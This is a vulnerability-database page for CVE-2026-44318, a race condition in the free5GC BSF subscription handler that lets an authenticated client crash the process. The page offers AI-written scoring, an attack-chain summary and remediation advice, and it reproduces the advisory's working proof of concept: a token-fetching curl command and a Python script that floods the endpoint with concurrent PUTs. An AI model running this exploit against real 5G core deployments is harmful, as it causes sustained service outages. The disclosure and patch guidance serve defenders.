Skip to main content

free5GC BSF CVE-2026-44318

| EUVDEUVD-2026-32567 MEDIUM
Race Condition (CWE-362)
2026-05-08 https://github.com/free5gc/free5gc GHSA-27ph-8q4f-h7m7
5.3
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid nbsf-management OAuth2 token from NRF
  2. Delivery
    Send 3,200+ concurrent PUT requests with fresh subscription IDs
  3. Exploit
    Race between locked map read and unlocked map write
  4. Execution
    Go runtime fatal terminates BSF process (exit code 2)
  5. Persist
    BSF SBI surface goes offline, disrupting PCF binding lookups
  6. Impact
    Repeat after restart to sustain outage

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Concurrency control, locking
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid nbsf-management OAuth2 bearer token with scope nbsf-management, issued by the free5GC NRF - the BSF endpoint rejects unauthenticated requests before reaching the vulnerable handler. The race is only triggered by the create-if-absent branch of the PUT handler: supplied subId values must not already exist in the Subscriptions map at request time, so the attacker must use previously-unseen subscription IDs. Concurrent load from multiple goroutines is required - a single sequential PUT request does not trigger the runtime fatal. The vulnerability is confirmed on free5GC v4.2.1; free5GC v4.2.2 and later remove the vulnerable code path. No unauthenticated exploitation path exists, and the attack cannot be triggered by read-only operations or DELETE/GET requests against the same endpoint.

Impact

The NVD CVSS 3.1 score of 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) is well-calibrated and consistent with the described attack mechanics. AC:L is accurate - the race requires only concurrent HTTP load with fresh subscription IDs, which the PoC achieves with 64 threads × 50 requests. PR:L correctly reflects the OAuth2 token requirement; an unauthenticated path does not exist. EPSS at 0.04% (11th percentile) signals negligible opportunistic exploitation and aligns with the token barrier and niche deployment footprint of free5GC. The vulnerability is absent from CISA KEV, confirming no observed widespread exploitation at time of analysis. Despite the modest EPSS, the operational impact for affected deployments is severe: the crash is deterministic, unrecoverable via standard middleware, and trivially repeatable across container restarts, enabling a sustained denial-of-service against all PCF binding lookup paths. No CVSS signal conflicts with the description - the AV:N, C:N/I:N/A:H triad is precisely what the Go runtime fatal produces. This is a genuine priority for operators running free5GC v4.2.1 in any environment where token acquisition is feasible, but the token requirement meaningfully limits blast radius relative to an unauthenticated flaw.

Exploit ScenarioDerived

An adversary who has obtained a valid nbsf-management OAuth2 bearer token - by compromising a co-located NF or exploiting misconfigured NRF token issuance - submits 3,200 concurrent PUT requests to /nbsf-management/v1/subscriptions/{subId} using previously-unseen subscription IDs. Competing goroutines race on the unprotected map assignment; the Go runtime detects the concurrent read/write conflict and terminates the BSF process with exit code 2, dropping all PCF binding lookups for SMF and AF. A fully functional Python PoC validated against the official Docker compose lab is publicly documented in GHSA-27ph-8q4f-h7m7, and the attacker can re-trigger the crash after every container restart to sustain the outage indefinitely.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Concurrent PUT requests to free5GC BSF v4.2.1 deterministically crash the Binding Support Function process via an unsynchronized Go map write, collapsing the entire nbsf-management SBI surface until manual restart. The ReplaceIndividualSubcription() handler reads BsfSelf.Subscriptions under RLock() but writes to the same map without acquiring the write mutex in its create-if-absent branch, causing the Go runtime to emit a non-recoverable fatal error: concurrent map read and map write that bypasses Gin's recovery middleware and terminates the process with exit code 2. Publicly available exploit code exists and was validated by the researcher against the official Docker compose lab; the attack is repeatable across restarts, enabling sustained outage for authenticated token holders. EPSS is low (0.04%, 11th percentile), consistent with the OAuth2 token prerequisite limiting opportunistic exploitation.

RemediationAI

Upgrade to free5GC v4.2.2 or later, which incorporates the fix from commit 277908565fd628d974a13ef562b81a8b7b519ffa (https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa), merged via PR #7 (https://github.com/free5gc/bsf/pull/7). For Go module consumers, upgrade github.com/free5gc/bsf to version 1.0.2 or later. The fix eliminates the unsafe code path entirely by removing the create-if-absent branch: the handler now returns HTTP 404 when the subscription does not exist, routing all writes through the pre-existing mutex-guarded UpdateSubscription() helper. If immediate patching is not feasible, restrict network access to the BSF SBI port (default 8000) at the infrastructure layer so that only trusted 5GC NFs can reach the endpoint; this raises the barrier for token acquisition but does not eliminate the vulnerability for parties already holding a valid nbsf-management token. No configuration-only workaround fully closes the race - the sole complete mitigation is the code fix.

Affected VersionsENISA

Free5GC < 4.2.2

Affected Packages

go github.com/free5gc/bsf fix: 1.0.2
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Binding Support Function (BSF) is a 5G core network element defined by 3GPP, responsible for maintaining PCF binding records used by SMF and AF for policy control. The affected implementation is the free5GC open-source 5G core stack, Go package github.com/free5gc/bsf (CPE: pkg:go/github.com_free5gc_bsf), version 4.2.1. The BSF exposes an HTTP-based SBI called nbsf-management (N36 reference point) secured by OAuth2 tokens issued by the NRF. The root cause is CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization) compounded by CWE-820 (Missing Synchronization): the ReplaceIndividualSubcription() handler at subscriptions.go:111-114 performs a direct map assignment (bsfContext.BsfSelf.Subscriptions[subId] = subscription) without holding the write mutex, while concurrent goroutines hold a read lock via GetSubscription() at subscriptions.go:81. Go maps are explicitly not goroutine-safe; the runtime detects the concurrent read/write and raises a fatal that is architecturally unrecoverable - it is not a panic and cannot be caught by recover(), meaning Gin's built-in recovery middleware provides no protection. All other CRUD helpers (CreateSubscription, UpdateSubscription, DeleteSubscription) correctly acquire the mutex; the bug is isolated to the inline create-if-absent branch of the PUT handler.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.3 MEDIUM
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 6.5 MEDIUM

Network-accessible HTTP endpoint with low race-trigger complexity but mandatory OAuth2 token (PR:L); crash yields no data exposure and no persistent state change, so C:N/I:N/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
CVSS changed
Oct 14, 2026 - 20:23 NVD
6.5 (MEDIUM) 5.3 (MEDIUM)
CVE Published
May 08, 2026 - 22:41 nvd
MEDIUM 6.5

DescriptionNVD

Summary

free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details

Validated against the BSF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/bsf:v4.2.1
  • Docker validation date: 2026-03-22
  • BSF endpoint: http://10.100.200.11:8000

Read side (locked):

go
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
    c.mutex.RLock()
    defer c.mutex.RUnlock()

    sub, exists := c.Subscriptions[subId]
    return sub, exists
}

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):

go
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf):

  • Read side (locked):
  • NFs/bsf/internal/sbi/processor/subscriptions.go:81
  • NFs/bsf/internal/context/context.go:726
  • NFs/bsf/internal/context/context.go:730
  • Unsafe write side (the create-if-absent branch in PUT, no lock):
  • NFs/bsf/internal/sbi/processor/subscriptions.go:111
  • NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC

Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

  1. Obtain a valid nbsf-management token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
  1. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
python
import json, threading, urllib.request

TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
    "events": ["PCF_BINDING_CREATION"],
    "notifUri": "http://127.0.0.1/cb",
    "notifCorreId": "1",
    "supi": "imsi-208930000000003",
}).encode()

def send_put(i, n):
    url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
    req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
    req.add_header("Authorization", f"Bearer {TOKEN}")
    req.add_header("Content-Type", "application/json")
    urllib.request.urlopen(req, timeout=2).read()

threads = []
for i in range(64):
    for n in range(50):
        threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
  1. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
  1. Container state confirms exit code 2:
exited|2|0

Impact

Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can:

  • Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
  • Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Prevalence
Low
open-source 5G core, primarily academic and lab deployments
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Race conditions occur when multiple concurrent requests exploit the brief time gap between checking a condition and acting upon it (TOCTOU - Time of Check, Time of Use).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy